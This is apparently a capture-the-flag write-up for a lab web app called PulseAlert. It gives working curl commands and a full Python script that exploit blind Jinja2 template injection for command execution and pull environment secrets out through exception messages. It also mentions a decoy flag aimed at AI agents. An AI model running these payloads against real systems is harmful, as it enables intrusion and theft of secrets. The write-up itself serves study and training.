Lab 236 — PulseAlert — Blind SSTI via Notification Template Engine
Lab 236 — PulseAlert — Blind SSTI via Notification Template Engine
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-03 | Status: Solved Techniques: blind_ssti_error_exfiltration, decoy_flag_recognition, rce_via_builtins_exec, rce_via_lipsum_globals, ssti_jinja2
Summary
Task: Flask/Jinja2 notification platform with template test-send feature that renders user input server-side but doesn't return output (blind SSTI). Solution: Error-based exfiltration using exec('raise Exception(data)') via lipsum.globals to leak flag from environment variable.
Lab 236 — PulseAlert — Blind SSTI via Notification Template Engine — HackAdvisor
Description
PulseAlert is a notification orchestration platform built by PulseWave Technologies. The application lets teams manage multi-channel alerts (email, SMS, push), create custom notification templates, configure delivery channels, and monitor delivery logs. The platform features a template editor with a test-send capability, allowing users to verify their templates render correctly before going live. Templates support variable placeholders that get replaced with real data at send time. Goal: find a way to retrieve a secret flag stored on the server.
English summary: A Flask/Jinja2 notification platform where users can create and test notification templates. The "Send Test" feature renders user-supplied template content server-side via Jinja2's render_template_string(), but the rendered output is sent to a delivery queue rather than returned to the user (blind SSTI). The goal is to exfiltrate a flag stored in a server environment variable.
Analysis
Application Structure
After logging in with user@test.com / password123, the application reveals:
- Dashboard (
/) — notification delivery overview - Templates (
/templates) — template library with 10 templates (Welcome Email, Order Confirmation, etc.) - Channels (
/channels) — delivery channels (Email SMTP, SMS Gateway via Twilio, Push via FCM) - Delivery Logs (
/logs) — notification delivery status tracking - Settings (
/settings) — profile, API key (pa_live_dcf0cbbae20088b20c525eaba47c1b2f)
Templates use {variable} placeholders like {user_name}, {email}, {company}, {order_id}.
Attack Surface
The template edit page (/templates/1/edit) has a "Send Test" button. JavaScript on the page POSTs to /api/templates/1/test with body and subject form fields. A comment in the JS explicitly states: "Template test — renders via server-side Jinja2 template engine and queues for delivery".
The response is JSON: {"message":"Test notification has been queued for delivery via email.","status":"success"} — the rendered output is NOT returned directly (blind SSTI).
Anti-Bot Decoy Flag
Every page contains a hidden decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in HTML comments and invisible divs with social engineering text trying to convince automated scanners and AI agents to stop. This is a honeypot — NOT the real flag.
Key Insight: Error Messages as Exfiltration Channel
When template rendering fails, the error message IS returned in the JSON response:
{{config}}→{"message":"'config' is undefined","status":"error"}
This means we can force errors that contain the data we want to exfiltrate.
Solution
Step 1 — Login
bash read-only • copy allowedcurl -s -c cookies.txt -X POST https://TARGET/login \ -d "email=user@test.com&password=password123"
Step 2 — Confirm SSTI
bash read-only • copy allowed# Basic SSTI test — queued successfully means Jinja2 evaluated it curl -s -b cookies.txt -X POST https://TARGET/api/templates/1/test \ --data-urlencode 'body={{7*7}}' \ --data-urlencode 'subject=test' # Response: {"message":"Test notification has been queued...","status":"success"}
Step 3 — Confirm RCE (Blind)
bash read-only • copy allowed# RCE via lipsum.__globals__["os"].popen() curl -s -b cookies.txt -X POST https://TARGET/api/templates/1/test \ --data-urlencode 'body={{lipsum.__globals__["os"].popen("id").read()}}' \ --data-urlencode 'subject=test' # Response: success (output goes to delivery queue, not visible)
Step 4 — Error-Based Exfiltration
The breakthrough technique: use exec("raise Exception(x)") to force an exception whose message contains the command output. The exception message is returned in the JSON error response.
Access chain:
lipsum.__globals__["os"].popen(cmd).read()— execute OS command, capture outputlipsum.__globals__["__builtins__"]["exec"]()— access Python'sexec()functionraise Exception(data)— force an error containing the exfiltrated data
bash read-only • copy allowed# Error-based exfiltration of environment variable curl -s -b cookies.txt -X POST https://TARGET/api/templates/1/test \ --data-urlencode 'body={%set x=lipsum.__globals__["os"].popen("env | grep -i flag").read().strip()%}{{lipsum.__globals__["__builtins__"]["exec"]("raise Exception(x)", {"x":x})}}' \ --data-urlencode 'subject=test'
Response:
json read-only • copy allowed{"message":"FLAG=FLAG{REDACTED}","status":"error"}
Full Exploit Script
python read-only • copy allowed#!/usr/bin/env python3 """Blind SSTI with error-based exfiltration on PulseAlert""" import requests TARGET = "https://44ce675e-c4d1-41e2-9452-39dfa9d22b85.labs.hackadvisor.io" # Login s = requests.Session() s.post(f"{TARGET}/login", data={ "email": "user@test.com", "password": "password123" }) # Blind SSTI payload with error-based exfiltration # Uses exec("raise Exception(x)") to force error message containing output payload = ( '{%set x=lipsum.__globals__["os"].popen("env | grep -i flag").read().strip()%}' '{{lipsum.__globals__["__builtins__"]["exec"]("raise Exception(x)", {"x":x})}}' ) resp = s.post(f"{TARGET}/api/templates/1/test", data={ "body": payload, "subject": "test" }) data = resp.json() print(f"Status: {data['status']}") print(f"Message: {data['message']}") # Output: FLAG=FLAG{REDACTED}